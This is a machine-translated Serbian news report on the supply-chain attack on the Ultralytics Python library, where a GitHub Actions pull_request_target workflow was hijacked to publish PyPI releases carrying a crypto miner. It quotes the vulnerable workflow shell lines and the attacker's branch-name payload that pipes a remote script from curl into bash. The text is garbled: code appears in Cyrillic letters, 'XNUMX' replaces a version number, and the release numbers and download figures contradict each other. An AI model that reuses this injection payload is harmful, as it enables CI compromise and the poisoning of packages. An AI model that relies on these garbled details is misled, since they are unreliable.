Нападачи су били у могућности да изврше код са правима руковаоца ГитХуб Ацтионс у складишту библиотеке Ултралитицс Питхон, која се користи за решавање проблема компјутерског вида као што је откривање објеката на сликама и сегментирање слика. Након што су добили приступ спремишту, нападачи су објавили неколико нових Ултралитицс издања у ПиПИ директоријуму, који су укључивали злонамерне промене за рударење криптовалута. Током прошлог месеца, Ултралитицс библиотека је преузета из ПиПИ каталога више од 6.4 милиона пута.
Да би се угрозило спремиште, коришћена је рањивост у пакету ултралитицс-ацтионс, која се користи за аутоматско покретање руковалаца када се одређене радње изводе у спремишту на ГитХуб-у помоћу механизма ГитХуб Ацтионс. У ултралитицс пројекту, рањиви руковалац је био везан за пулл_рекуест_таргет догађај и био је позван када су стигли нови захтеви за повлачење. Конкретно, да би се форматирао код у послатим захтевима за повлачење, позван је формат.имл руковалац и извршен је код наведен у одељку „покрени“ датотеке ацтион.имл, који је садржао команде љуске са обрасцима замене: гит пулл оригин ${{ гитхуб.хеад_реф || гитхуб.реф }} гит цонфиг --глобал усер.наме "${{ инпутс.гитхуб_усернаме }}" гит цонфиг --глобал усер.емаил "${{ инпутс.гитхуб_емаил }}"
Дакле, име Гит гране поменуто у захтеву за повлачење је замењено командама љуске без одговарајућег излаза. Важно је напоменути да је у августу пакет ултралитицс-ацтионс већ поправио сличну рањивост повезану са употребом екстерне вредности у функцији ецхо: ецхо „гитхуб.евент.пулл_рекуест.хеад.реф: ${{ гитхуб.евент.пулл_рекуест .хеад.реф }} »
Да би организовали извршавање свог кода у контексту ГитХуб Ацтионс руковаоца, нападачи су послали захтев за повлачење у складиште ултралитицс, наводећи следеће као име гране: опенимбот:$({цурл,-сСфЛ,рав.гитхубусерцонтент.цом/ултралитицс/ултралитицс/12е4ф54ца3ф2е69бцдц900д1ц6е16642ца8ае545/филе.сх}${ИФС}|${ИФС}басх)
Сходно томе, када је примљен захтев за повлачење, стринг који је одредио нападач „$(…)” је уметнут у код, што је, када је руковалац накнадно покренут, довео до извршења кода „цурл -сСфЛ рав.гитхубусерцонтент. цом/…/филе.сх | басх“.

Покретање кода у контексту ГитХуб Ацтионс може се користити за снимање токена за приступ спремишту и других осетљивих података. Како су тачно нападачи успели да генеришу издање, имајући могућност да изврше свој код у ГитХуб Ацтионс, још увек није јасно да је то постало могуће због промене у руковачу публисх.имл (нападачи су уклонили верификацију регистратора); налог коме је дозвољено објављивање издања у ПиПИ) и коришћење технологије која трује кеш изградње ГитХуб Ацтионс за уметање ваших података у издање.
Прво злонамерно издање Ultralytics 8.3.41 објавили су нападачи на PyPI 4. децембра у 23:51 (MSK) и уклонили га следећег дана у 12:15. У 15:47 објављено је друго издање, 8.3.42, које је уклоњено у 16:47. Тако су злонамерне верзије биле доступне за преузимање укупно приближно 13 сати (PyPI бележи приближно 250 преузимања ultralytics библиотеке дневно). Издања 8.3.41 и 8.3.42 садржала су код који се преузимао са екстерног... сервер XMRig компонента за рударење криптовалута.
Програмери пројекта су решили проблем и креирали корективна издања 8.3.43 и 8.3.44, али два дана касније је извршен још један напад, током којег су нападачи објавили још два злонамерна издања данас у 04:41 и 05:27 (МСК) - 8.3.45. 8.3.46 и 8.3.44, који обухватају друге рударске кодове. До краја истраге, корисницима се саветује да одустану од инсталирања нових верзија и поправе издање XNUMX као зависности.
Извор: опеннет.ру
